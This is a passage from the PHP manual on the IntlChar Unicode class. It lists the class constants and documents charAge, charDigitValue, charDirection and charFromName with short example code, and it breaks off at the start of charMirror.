IntlChar::BLOCK_CODE_ARABIC_PRESENTATION_FORMS_B

IntlChar::BLOCK_CODE_SPECIALS

IntlChar::BLOCK_CODE_HALFWIDTH_AND_FULLWIDTH_FORMS

IntlChar::BLOCK_CODE_OLD_ITALIC

IntlChar::BLOCK_CODE_GOTHIC

IntlChar::BLOCK_CODE_DESERET

IntlChar::BLOCK_CODE_BYZANTINE_MUSICAL_SYMBOLS

IntlChar::BLOCK_CODE_MUSICAL_SYMBOLS

IntlChar::BLOCK_CODE_MATHEMATICAL_ALPHANUMERIC_SYMBOLS

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT

IntlChar::BLOCK_CODE_TAGS

IntlChar::BLOCK_CODE_CYRILLIC_SUPPLEMENT

IntlChar::BLOCK_CODE_CYRILLIC_SUPPLEMENTARY

IntlChar::BLOCK_CODE_TAGALOG

IntlChar::BLOCK_CODE_HANUNOO

IntlChar::BLOCK_CODE_BUHID

IntlChar::BLOCK_CODE_TAGBANWA

IntlChar::BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_A

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_B

IntlChar::BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B

IntlChar::BLOCK_CODE_SUPPLEMENTAL_MATHEMATICAL_OPERATORS

IntlChar::BLOCK_CODE_KATAKANA_PHONETIC_EXTENSIONS

IntlChar::BLOCK_CODE_VARIATION_SELECTORS

IntlChar::BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_A

IntlChar::BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_B

IntlChar::BLOCK_CODE_LIMBU

IntlChar::BLOCK_CODE_TAI_LE

IntlChar::BLOCK_CODE_KHMER_SYMBOLS

IntlChar::BLOCK_CODE_PHONETIC_EXTENSIONS

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_ARROWS

IntlChar::BLOCK_CODE_YIJING_HEXAGRAM_SYMBOLS

IntlChar::BLOCK_CODE_LINEAR_B_SYLLABARY

IntlChar::BLOCK_CODE_LINEAR_B_IDEOGRAMS

IntlChar::BLOCK_CODE_AEGEAN_NUMBERS

IntlChar::BLOCK_CODE_UGARITIC

IntlChar::BLOCK_CODE_SHAVIAN

IntlChar::BLOCK_CODE_OSMANYA

IntlChar::BLOCK_CODE_CYPRIOT_SYLLABARY

IntlChar::BLOCK_CODE_TAI_XUAN_JING_SYMBOLS

IntlChar::BLOCK_CODE_VARIATION_SELECTORS_SUPPLEMENT

IntlChar::BLOCK_CODE_ANCIENT_GREEK_MUSICAL_NOTATION

IntlChar::BLOCK_CODE_ANCIENT_GREEK_NUMBERS

IntlChar::BLOCK_CODE_ARABIC_SUPPLEMENT

IntlChar::BLOCK_CODE_BUGINESE

IntlChar::BLOCK_CODE_CJK_STROKES

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_SUPPLEMENT

IntlChar::BLOCK_CODE_COPTIC

IntlChar::BLOCK_CODE_ETHIOPIC_EXTENDED

IntlChar::BLOCK_CODE_ETHIOPIC_SUPPLEMENT

IntlChar::BLOCK_CODE_GEORGIAN_SUPPLEMENT

IntlChar::BLOCK_CODE_GLAGOLITIC

IntlChar::BLOCK_CODE_KHAROSHTHI

IntlChar::BLOCK_CODE_MODIFIER_TONE_LETTERS

IntlChar::BLOCK_CODE_NEW_TAI_LUE

IntlChar::BLOCK_CODE_OLD_PERSIAN

IntlChar::BLOCK_CODE_PHONETIC_EXTENSIONS_SUPPLEMENT

IntlChar::BLOCK_CODE_SUPPLEMENTAL_PUNCTUATION

IntlChar::BLOCK_CODE_SYLOTI_NAGRI

IntlChar::BLOCK_CODE_TIFINAGH

IntlChar::BLOCK_CODE_VERTICAL_FORMS

IntlChar::BLOCK_CODE_NKO

IntlChar::BLOCK_CODE_BALINESE

IntlChar::BLOCK_CODE_LATIN_EXTENDED_C

IntlChar::BLOCK_CODE_LATIN_EXTENDED_D

IntlChar::BLOCK_CODE_PHAGS_PA

IntlChar::BLOCK_CODE_PHOENICIAN

IntlChar::BLOCK_CODE_CUNEIFORM

IntlChar::BLOCK_CODE_CUNEIFORM_NUMBERS_AND_PUNCTUATION

IntlChar::BLOCK_CODE_COUNTING_ROD_NUMERALS

IntlChar::BLOCK_CODE_SUNDANESE

IntlChar::BLOCK_CODE_LEPCHA

IntlChar::BLOCK_CODE_OL_CHIKI

IntlChar::BLOCK_CODE_CYRILLIC_EXTENDED_A

IntlChar::BLOCK_CODE_VAI

IntlChar::BLOCK_CODE_CYRILLIC_EXTENDED_B

IntlChar::BLOCK_CODE_SAURASHTRA

IntlChar::BLOCK_CODE_KAYAH_LI

IntlChar::BLOCK_CODE_REJANG

IntlChar::BLOCK_CODE_CHAM

IntlChar::BLOCK_CODE_ANCIENT_SYMBOLS

IntlChar::BLOCK_CODE_PHAISTOS_DISC

IntlChar::BLOCK_CODE_LYCIAN

IntlChar::BLOCK_CODE_CARIAN

IntlChar::BLOCK_CODE_LYDIAN

IntlChar::BLOCK_CODE_MAHJONG_TILES

IntlChar::BLOCK_CODE_DOMINO_TILES

IntlChar::BLOCK_CODE_SAMARITAN

IntlChar::BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED

IntlChar::BLOCK_CODE_TAI_THAM

IntlChar::BLOCK_CODE_VEDIC_EXTENSIONS

IntlChar::BLOCK_CODE_LISU

IntlChar::BLOCK_CODE_BAMUM

IntlChar::BLOCK_CODE_COMMON_INDIC_NUMBER_FORMS

IntlChar::BLOCK_CODE_DEVANAGARI_EXTENDED

IntlChar::BLOCK_CODE_HANGUL_JAMO_EXTENDED_A

IntlChar::BLOCK_CODE_JAVANESE

IntlChar::BLOCK_CODE_MYANMAR_EXTENDED_A

IntlChar::BLOCK_CODE_TAI_VIET

IntlChar::BLOCK_CODE_MEETEI_MAYEK

IntlChar::BLOCK_CODE_HANGUL_JAMO_EXTENDED_B

IntlChar::BLOCK_CODE_IMPERIAL_ARAMAIC

IntlChar::BLOCK_CODE_OLD_SOUTH_ARABIAN

IntlChar::BLOCK_CODE_AVESTAN

IntlChar::BLOCK_CODE_INSCRIPTIONAL_PARTHIAN

IntlChar::BLOCK_CODE_INSCRIPTIONAL_PAHLAVI

IntlChar::BLOCK_CODE_OLD_TURKIC

IntlChar::BLOCK_CODE_RUMI_NUMERAL_SYMBOLS

IntlChar::BLOCK_CODE_KAITHI

IntlChar::BLOCK_CODE_EGYPTIAN_HIEROGLYPHS

IntlChar::BLOCK_CODE_ENCLOSED_ALPHANUMERIC_SUPPLEMENT

IntlChar::BLOCK_CODE_ENCLOSED_IDEOGRAPHIC_SUPPLEMENT

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C

IntlChar::BLOCK_CODE_MANDAIC

IntlChar::BLOCK_CODE_BATAK

IntlChar::BLOCK_CODE_ETHIOPIC_EXTENDED_A

IntlChar::BLOCK_CODE_BRAHMI

IntlChar::BLOCK_CODE_BAMUM_SUPPLEMENT

IntlChar::BLOCK_CODE_KANA_SUPPLEMENT

IntlChar::BLOCK_CODE_PLAYING_CARDS

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS

IntlChar::BLOCK_CODE_EMOTICONS

IntlChar::BLOCK_CODE_TRANSPORT_AND_MAP_SYMBOLS

IntlChar::BLOCK_CODE_ALCHEMICAL_SYMBOLS

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D

IntlChar::BLOCK_CODE_ARABIC_EXTENDED_A

IntlChar::BLOCK_CODE_ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS

IntlChar::BLOCK_CODE_CHAKMA

IntlChar::BLOCK_CODE_MEETEI_MAYEK_EXTENSIONS

IntlChar::BLOCK_CODE_MEROITIC_CURSIVE

IntlChar::BLOCK_CODE_MEROITIC_HIEROGLYPHS

IntlChar::BLOCK_CODE_MIAO

IntlChar::BLOCK_CODE_SHARADA

IntlChar::BLOCK_CODE_SORA_SOMPENG

IntlChar::BLOCK_CODE_SUNDANESE_SUPPLEMENT

IntlChar::BLOCK_CODE_TAKRI

IntlChar::BLOCK_CODE_BASSA_VAH

IntlChar::BLOCK_CODE_CAUCASIAN_ALBANIAN

IntlChar::BLOCK_CODE_COPTIC_EPACT_NUMBERS

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_EXTENDED

IntlChar::BLOCK_CODE_DUPLOYAN

IntlChar::BLOCK_CODE_ELBASAN

IntlChar::BLOCK_CODE_GEOMETRIC_SHAPES_EXTENDED

IntlChar::BLOCK_CODE_GRANTHA

IntlChar::BLOCK_CODE_KHOJKI

IntlChar::BLOCK_CODE_KHUDAWADI

IntlChar::BLOCK_CODE_LATIN_EXTENDED_E

IntlChar::BLOCK_CODE_LINEAR_A

IntlChar::BLOCK_CODE_MAHAJANI

IntlChar::BLOCK_CODE_MANICHAEAN

IntlChar::BLOCK_CODE_MENDE_KIKAKUI

IntlChar::BLOCK_CODE_MODI

IntlChar::BLOCK_CODE_MRO

IntlChar::BLOCK_CODE_MYANMAR_EXTENDED_B

IntlChar::BLOCK_CODE_NABATAEAN

IntlChar::BLOCK_CODE_OLD_NORTH_ARABIAN

IntlChar::BLOCK_CODE_OLD_PERMIC

IntlChar::BLOCK_CODE_ORNAMENTAL_DINGBATS

IntlChar::BLOCK_CODE_PAHAWH_HMONG

IntlChar::BLOCK_CODE_PALMYRENE

IntlChar::BLOCK_CODE_PAU_CIN_HAU

IntlChar::BLOCK_CODE_PSALTER_PAHLAVI

IntlChar::BLOCK_CODE_SHORTHAND_FORMAT_CONTROLS

IntlChar::BLOCK_CODE_SIDDHAM

IntlChar::BLOCK_CODE_SINHALA_ARCHAIC_NUMBERS

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_C

IntlChar::BLOCK_CODE_TIRHUTA

IntlChar::BLOCK_CODE_WARANG_CITI

IntlChar::BLOCK_CODE_COUNT

IntlChar::BLOCK_CODE_INVALID_CODE

IntlChar::BPT_NONE

IntlChar::BPT_OPEN

IntlChar::BPT_CLOSE

IntlChar::BPT_COUNT

IntlChar::EA_NEUTRAL

IntlChar::EA_AMBIGUOUS

IntlChar::EA_HALFWIDTH

IntlChar::EA_FULLWIDTH

IntlChar::EA_NARROW

IntlChar::EA_WIDE

IntlChar::EA_COUNT

IntlChar::UNICODE_CHAR_NAME

IntlChar::UNICODE_10_CHAR_NAME

IntlChar::EXTENDED_CHAR_NAME

IntlChar::CHAR_NAME_ALIAS

IntlChar::CHAR_NAME_CHOICE_COUNT

IntlChar::SHORT_PROPERTY_NAME

IntlChar::LONG_PROPERTY_NAME

IntlChar::PROPERTY_NAME_CHOICE_COUNT

IntlChar::DT_NONE

IntlChar::DT_CANONICAL

IntlChar::DT_COMPAT

IntlChar::DT_CIRCLE

IntlChar::DT_FINAL

IntlChar::DT_FONT

IntlChar::DT_FRACTION

IntlChar::DT_INITIAL

IntlChar::DT_ISOLATED

IntlChar::DT_MEDIAL

IntlChar::DT_NARROW

IntlChar::DT_NOBREAK

IntlChar::DT_SMALL

IntlChar::DT_SQUARE

IntlChar::DT_SUB

IntlChar::DT_SUPER

IntlChar::DT_VERTICAL

IntlChar::DT_WIDE

IntlChar::DT_COUNT

IntlChar::JT_NON_JOINING

IntlChar::JT_JOIN_CAUSING

IntlChar::JT_DUAL_JOINING

IntlChar::JT_LEFT_JOINING

IntlChar::JT_RIGHT_JOINING

IntlChar::JT_TRANSPARENT

IntlChar::JT_COUNT

IntlChar::JG_NO_JOINING_GROUP

IntlChar::JG_AIN

IntlChar::JG_ALAPH

IntlChar::JG_ALEF

IntlChar::JG_BEH

IntlChar::JG_BETH

IntlChar::JG_DAL

IntlChar::JG_DALATH_RISH

IntlChar::JG_E

IntlChar::JG_FEH

IntlChar::JG_FINAL_SEMKATH

IntlChar::JG_GAF

IntlChar::JG_GAMAL

IntlChar::JG_HAH

IntlChar::JG_TEH_MARBUTA_GOAL

IntlChar::JG_HAMZA_ON_HEH_GOAL

IntlChar::JG_HE

IntlChar::JG_HEH

IntlChar::JG_HEH_GOAL

IntlChar::JG_HETH

IntlChar::JG_KAF

IntlChar::JG_KAPH

IntlChar::JG_KNOTTED_HEH

IntlChar::JG_LAM

IntlChar::JG_LAMADH

IntlChar::JG_MEEM

IntlChar::JG_MIM

IntlChar::JG_NOON

IntlChar::JG_NUN

IntlChar::JG_PE

IntlChar::JG_QAF

IntlChar::JG_QAPH

IntlChar::JG_REH

IntlChar::JG_REVERSED_PE

IntlChar::JG_SAD

IntlChar::JG_SADHE

IntlChar::JG_SEEN

IntlChar::JG_SEMKATH

IntlChar::JG_SHIN

IntlChar::JG_SWASH_KAF

IntlChar::JG_SYRIAC_WAW

IntlChar::JG_TAH

IntlChar::JG_TAW

IntlChar::JG_TEH_MARBUTA

IntlChar::JG_TETH

IntlChar::JG_WAW

IntlChar::JG_YEH

IntlChar::JG_YEH_BARREE

IntlChar::JG_YEH_WITH_TAIL

IntlChar::JG_YUDH

IntlChar::JG_YUDH_HE

IntlChar::JG_ZAIN

IntlChar::JG_FE

IntlChar::JG_KHAPH

IntlChar::JG_ZHAIN

IntlChar::JG_BURUSHASKI_YEH_BARREE

IntlChar::JG_FARSI_YEH

IntlChar::JG_NYA

IntlChar::JG_ROHINGYA_YEH

IntlChar::JG_MANICHAEAN_ALEPH

IntlChar::JG_MANICHAEAN_AYIN

IntlChar::JG_MANICHAEAN_BETH

IntlChar::JG_MANICHAEAN_DALETH

IntlChar::JG_MANICHAEAN_DHAMEDH

IntlChar::JG_MANICHAEAN_FIVE

IntlChar::JG_MANICHAEAN_GIMEL

IntlChar::JG_MANICHAEAN_HETH

IntlChar::JG_MANICHAEAN_HUNDRED

IntlChar::JG_MANICHAEAN_KAPH

IntlChar::JG_MANICHAEAN_LAMEDH

IntlChar::JG_MANICHAEAN_MEM

IntlChar::JG_MANICHAEAN_NUN

IntlChar::JG_MANICHAEAN_ONE

IntlChar::JG_MANICHAEAN_PE

IntlChar::JG_MANICHAEAN_QOPH

IntlChar::JG_MANICHAEAN_RESH

IntlChar::JG_MANICHAEAN_SADHE

IntlChar::JG_MANICHAEAN_SAMEKH

IntlChar::JG_MANICHAEAN_TAW

IntlChar::JG_MANICHAEAN_TEN

IntlChar::JG_MANICHAEAN_TETH

IntlChar::JG_MANICHAEAN_THAMEDH

IntlChar::JG_MANICHAEAN_TWENTY

IntlChar::JG_MANICHAEAN_WAW

IntlChar::JG_MANICHAEAN_YODH

IntlChar::JG_MANICHAEAN_ZAYIN

IntlChar::JG_STRAIGHT_WAW

IntlChar::JG_COUNT

IntlChar::GCB_OTHER

IntlChar::GCB_CONTROL

IntlChar::GCB_CR

IntlChar::GCB_EXTEND

IntlChar::GCB_L

IntlChar::GCB_LF

IntlChar::GCB_LV

IntlChar::GCB_LVT

IntlChar::GCB_T

IntlChar::GCB_V

IntlChar::GCB_SPACING_MARK

IntlChar::GCB_PREPEND

IntlChar::GCB_REGIONAL_INDICATOR

IntlChar::GCB_COUNT

IntlChar::WB_OTHER

IntlChar::WB_ALETTER

IntlChar::WB_FORMAT

IntlChar::WB_KATAKANA

IntlChar::WB_MIDLETTER

IntlChar::WB_MIDNUM

IntlChar::WB_NUMERIC

IntlChar::WB_EXTENDNUMLET

IntlChar::WB_CR

IntlChar::WB_EXTEND

IntlChar::WB_LF

IntlChar::WB_MIDNUMLET

IntlChar::WB_NEWLINE

IntlChar::WB_REGIONAL_INDICATOR

IntlChar::WB_HEBREW_LETTER

IntlChar::WB_SINGLE_QUOTE

IntlChar::WB_DOUBLE_QUOTE

IntlChar::WB_COUNT

IntlChar::SB_OTHER

IntlChar::SB_ATERM

IntlChar::SB_CLOSE

IntlChar::SB_FORMAT

IntlChar::SB_LOWER

IntlChar::SB_NUMERIC

IntlChar::SB_OLETTER

IntlChar::SB_SEP

IntlChar::SB_SP

IntlChar::SB_STERM

IntlChar::SB_UPPER

IntlChar::SB_CR

IntlChar::SB_EXTEND

IntlChar::SB_LF

IntlChar::SB_SCONTINUE

IntlChar::SB_COUNT

IntlChar::LB_UNKNOWN

IntlChar::LB_AMBIGUOUS

IntlChar::LB_ALPHABETIC

IntlChar::LB_BREAK_BOTH

IntlChar::LB_BREAK_AFTER

IntlChar::LB_BREAK_BEFORE

IntlChar::LB_MANDATORY_BREAK

IntlChar::LB_CONTINGENT_BREAK

IntlChar::LB_CLOSE_PUNCTUATION

IntlChar::LB_COMBINING_MARK

IntlChar::LB_CARRIAGE_RETURN

IntlChar::LB_EXCLAMATION

IntlChar::LB_GLUE

IntlChar::LB_HYPHEN

IntlChar::LB_IDEOGRAPHIC

IntlChar::LB_INSEPARABLE

IntlChar::LB_INSEPERABLE

IntlChar::LB_INFIX_NUMERIC

IntlChar::LB_LINE_FEED

IntlChar::LB_NONSTARTER

IntlChar::LB_NUMERIC

IntlChar::LB_OPEN_PUNCTUATION

IntlChar::LB_POSTFIX_NUMERIC

IntlChar::LB_PREFIX_NUMERIC

IntlChar::LB_QUOTATION

IntlChar::LB_COMPLEX_CONTEXT

IntlChar::LB_SURROGATE

IntlChar::LB_SPACE

IntlChar::LB_BREAK_SYMBOLS

IntlChar::LB_ZWSPACE

IntlChar::LB_NEXT_LINE

IntlChar::LB_WORD_JOINER

IntlChar::LB_H2

IntlChar::LB_H3

IntlChar::LB_JL

IntlChar::LB_JT

IntlChar::LB_JV

IntlChar::LB_CLOSE_PARENTHESIS

IntlChar::LB_CONDITIONAL_JAPANESE_STARTER

IntlChar::LB_HEBREW_LETTER

IntlChar::LB_REGIONAL_INDICATOR

IntlChar::LB_COUNT

IntlChar::NT_NONE

IntlChar::NT_DECIMAL

IntlChar::NT_DIGIT

IntlChar::NT_NUMERIC

IntlChar::NT_COUNT

IntlChar::HST_NOT_APPLICABLE

IntlChar::HST_LEADING_JAMO

IntlChar::HST_VOWEL_JAMO

IntlChar::HST_TRAILING_JAMO

IntlChar::HST_LV_SYLLABLE

IntlChar::HST_LVT_SYLLABLE

IntlChar::HST_COUNT

IntlChar::FOLD_CASE_DEFAULT

IntlChar::FOLD_CASE_EXCLUDE_SPECIAL_I

更新日志

版本 | 说明
7.0.6 | The IntlChar::NO_NUMERIC_VALUE constant was added.

Table of Contents

  • IntlChar::charAge — Get the "age" of the code point
  • IntlChar::charDigitValue — Get the decimal digit value of a decimal digit character
  • IntlChar::charDirection — Get bidirectional category value for a code point
  • IntlChar::charFromName — Find Unicode character by name and return its code point value
  • IntlChar::charMirror — Get the "mirror-image" character for a code point
  • IntlChar::charName — Retrieve the name of a Unicode character
  • IntlChar::charType — Get the general category value for a code point
  • IntlChar::chr — Return Unicode character by code point value
  • IntlChar::digit — Get the decimal digit value of a code point for a given radix
  • IntlChar::enumCharNames — Enumerate all assigned Unicode characters within a range
  • IntlChar::enumCharTypes — Enumerate all code points with their Unicode general categories
  • IntlChar::foldCase — Perform case folding on a code point
  • IntlChar::forDigit — Get character representation for a given digit and radix
  • IntlChar::getBidiPairedBracket — Get the paired bracket character for a code point
  • IntlChar::getBlockCode — Get the Unicode allocation block containing a code point
  • IntlChar::getCombiningClass — Get the combining class of a code point
  • IntlChar::getFC_NFKC_Closure — Get the FC_NFKC_Closure property for a code point
  • IntlChar::getIntPropertyMaxValue — Get the max value for a Unicode property
  • IntlChar::getIntPropertyMinValue — Get the min value for a Unicode property
  • IntlChar::getIntPropertyValue — Get the value for a Unicode property for a code point
  • IntlChar::getNumericValue — Get the numeric value for a Unicode code point
  • IntlChar::getPropertyEnum — Get the property constant value for a given property name
  • IntlChar::getPropertyName — Get the Unicode name for a property
  • IntlChar::getPropertyValueEnum — Get the property value for a given value name
  • IntlChar::getPropertyValueName — Get the Unicode name for a property value
  • IntlChar::getUnicodeVersion — Get the Unicode version
  • IntlChar::hasBinaryProperty — Check a binary Unicode property for a code point
  • IntlChar::isalnum — Check if code point is an alphanumeric character
  • IntlChar::isalpha — Check if code point is a letter character
  • IntlChar::isbase — Check if code point is a base character
  • IntlChar::isblank — Check if code point is a "blank" or "horizontal space" character
  • IntlChar::iscntrl — Check if code point is a control character
  • IntlChar::isdefined — Check whether the code point is defined
  • IntlChar::isdigit — Check if code point is a digit character
  • IntlChar::isgraph — Check if code point is a graphic character
  • IntlChar::isIDIgnorable — Check if code point is an ignorable character
  • IntlChar::isIDPart — Check if code point is permissible in an identifier
  • IntlChar::isIDStart — Check if code point is permissible as the first character in an identifier
  • IntlChar::isISOControl — Check if code point is an ISO control code
  • IntlChar::isJavaIDPart — Check if code point is permissible in a Java identifier
  • IntlChar::isJavaIDStart — Check if code point is permissible as the first character in a Java identifier
  • IntlChar::isJavaSpaceChar — Check if code point is a space character according to Java
  • IntlChar::islower — Check if code point is a lowercase letter
  • IntlChar::isMirrored — Check if code point has the Bidi_Mirrored property
  • IntlChar::isprint — Check if code point is a printable character
  • IntlChar::ispunct — Check if code point is punctuation character
  • IntlChar::isspace — Check if code point is a space character
  • IntlChar::istitle — Check if code point is a titlecase letter
  • IntlChar::isUAlphabetic — Check if code point has the Alphabetic Unicode property
  • IntlChar::isULowercase — Check if code point has the Lowercase Unicode property
  • IntlChar::isupper — Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::isUUppercase — Check if code point has the Uppercase Unicode property
  • IntlChar::isUWhiteSpace — Check if code point has the White_Space Unicode property
  • IntlChar::isWhitespace — Check if code point is a whitespace character according to ICU
  • IntlChar::isxdigit — Check if code point is a hexadecimal digit
  • IntlChar::ord — Return Unicode code point value of character
  • IntlChar::tolower — Make Unicode character lowercase
  • IntlChar::totitle — Make Unicode character titlecase
  • IntlChar::toupper — Make Unicode character uppercase

User Contributed Notes

Hayley Watson 02-Jul-2018 12:28
The authoritative source on what these character classes mean is Unicode Standard "Unicode Character Database", documented at https://www.unicode.org/reports/tr44/ (see chapter 5).
Anonymous 19-Mar-2018 12:25
For a description of the constants, have a look into uchar.h documentation of the ICU4C API: http://icu-project.org/apiref/icu4c/uchar_8h.html


Get the "age" of the code point

  • ? IntlChar
  • IntlChar::charDigitValue ?
  • PHP Manual
  • IntlChar
  • Get the "age" of the code point

IntlChar::charAge

(PHP 7, PHP 8)

IntlChar::charAge — Get the "age" of the code point

说明

public static IntlChar::charAge(int|string $codepoint): ?array

Gets the "age" of the code point.

The "age" is the Unicode version when the code point was first designated (as a non-character or for Private Use) or assigned a character. This can be useful to avoid emitting code points to receiving processes that do not accept newer characters.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

The Unicode version number, as an array. For example, version 1.3.31.2 would be represented as [1, 3, 31, 2]. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charage("\u{2603}"));
var_dump(IntlChar::charage("\u{1F576}"));
?>

以上示例会输出：

array(4) {
  [0]=>
  int(1)
  [1]=>
  int(1)
  [2]=>
  int(0)
  [3]=>
  int(0)
}
array(4) {
  [0]=>
  int(7)
  [1]=>
  int(0)
  [2]=>
  int(0)
  [3]=>
  int(0)
}

参见

  • IntlChar::getUnicodeVersion() - Get the Unicode version
  • IntlChar::getIntPropertyMinValue() - Get the min value for a Unicode property
  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point

User Contributed Notes

There are no user contributed notes for this page.


Get the decimal digit value of a decimal digit character

  • ? IntlChar::charAge
  • IntlChar::charDirection ?
  • PHP Manual
  • IntlChar
  • Get the decimal digit value of a decimal digit character

IntlChar::charDigitValue

(PHP 7, PHP 8)

IntlChar::charDigitValue — Get the decimal digit value of a decimal digit character

说明

public static IntlChar::charDigitValue(int|string $codepoint): ?int

Returns the decimal digit value of a decimal digit character.

Such characters have the general category "Nd" (decimal digit numbers) and a Numeric_Type of Decimal.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

The decimal digit value of codepoint, or -1 if it is not a decimal digit character. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charDigitValue("1"));
var_dump(IntlChar::charDigitValue("\u{0662}"));
var_dump(IntlChar::charDigitValue("\u{0E53}"));
?>

以上示例会输出：

int(1)
int(2)
int(3)

参见

  • IntlChar::getNumericValue() - Get the numeric value for a Unicode code point

User Contributed Notes

There are no user contributed notes for this page.


Get bidirectional category value for a code point

  • ? IntlChar::charDigitValue
  • IntlChar::charFromName ?
  • PHP Manual
  • IntlChar
  • Get bidirectional category value for a code point

IntlChar::charDirection

(PHP 7, PHP 8)

IntlChar::charDirection — Get bidirectional category value for a code point

说明

public static IntlChar::charDirection(int|string $codepoint): ?int

Returns the bidirectional category value for the code point, which is used in the » Unicode bidirectional algorithm (UAX #9).

Note:

Some unassigned code points have bidi values of R or AL because they are in blocks that are reserved for Right-To-Left scripts.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

The bidirectional category value; one of the following constants:

  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR
  • IntlChar::CHAR_DIRECTION_ARABIC_NUMBER
  • IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR
  • IntlChar::CHAR_DIRECTION_BLOCK_SEPARATOR
  • IntlChar::CHAR_DIRECTION_SEGMENT_SEPARATOR
  • IntlChar::CHAR_DIRECTION_WHITE_SPACE_NEUTRAL
  • IntlChar::CHAR_DIRECTION_OTHER_NEUTRAL
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE
  • IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT
  • IntlChar::CHAR_DIRECTION_DIR_NON_SPACING_MARK
  • IntlChar::CHAR_DIRECTION_BOUNDARY_NEUTRAL
  • IntlChar::CHAR_DIRECTION_FIRST_STRONG_ISOLATE
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE
  • IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE
  • IntlChar::CHAR_DIRECTION_CHAR_DIRECTION_COUNT
Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charDirection("A") === IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT);
var_dump(IntlChar::charDirection("\u{05E9}") === IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT);
var_dump(IntlChar::charDirection("+") === IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR);
var_dump(IntlChar::charDirection(".") === IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Find Unicode character by name and return its code point value

  • ? IntlChar::charDirection
  • IntlChar::charMirror ?
  • PHP Manual
  • IntlChar
  • Find Unicode character by name and return its code point value

IntlChar::charFromName

(PHP 7, PHP 8)

IntlChar::charFromName — Find Unicode character by name and return its code point value

说明

public static IntlChar::charFromName(string $name, int $type = IntlChar::UNICODE_CHAR_NAME): ?int

Finds a Unicode character by its name and returns its code point value.

The name is matched exactly and completely. If the name does not correspond to a code point, null is returned.

A Unicode 1.0 name is matched only if it differs from the modern name. Unicode names are all uppercase. Extended names are lowercase followed by an uppercase hexadecimal number, and within angle brackets.

参数

name

Full name of the Unicode character.

type

Which set of names to use for the lookup. Can be any of these constants:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

返回值

The Unicode value of the code point with the given name (as an int), or null if there is no such code point.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charFromName("LATIN CAPITAL LETTER A"));
var_dump(IntlChar::charFromName("SNOWMAN"));
var_dump(IntlChar::charFromName("RECYCLING SYMBOL FOR TYPE-1 PLASTICS"));
var_dump(IntlChar::charFromName("A RANDOM STRING WHICH DOESN'T CORRESPOND TO ANY UNICODE CHARACTER"));
?>

以上示例会输出：

int(65)
int(9731)
int(9843)
NULL

参见

  • IntlChar::charName() - Retrieve the name of a Unicode character
  • IntlChar::enumCharNames() - Enumerate all assigned Unicode characters within a range

User Contributed Notes

There are no user contributed notes for this page.


Get the "mirror-image" character for a code point

  • ? IntlChar::charFromName
  • IntlChar::charName ?
  • PHP Manual
  • IntlChar
  • Get the "mirror-image" character for a code point

IntlChar::charMirror

(PHP 7, PHP 8)

IntlChar::charMirror — Get the "mirror-image" character for a code point

说明

public static IntlChar::charMirror(int|string $codepoint): int|string|null

